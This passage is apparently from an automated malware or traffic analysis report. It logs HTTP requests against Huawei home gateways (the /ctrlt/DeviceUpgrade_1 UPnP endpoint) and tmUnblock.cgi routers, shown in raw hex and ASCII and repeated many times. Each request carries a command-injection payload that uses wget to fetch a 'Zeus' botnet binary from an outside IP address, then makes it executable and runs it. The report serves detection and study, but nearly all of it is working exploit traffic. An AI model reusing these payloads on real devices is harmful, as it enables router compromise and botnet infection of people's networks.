2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
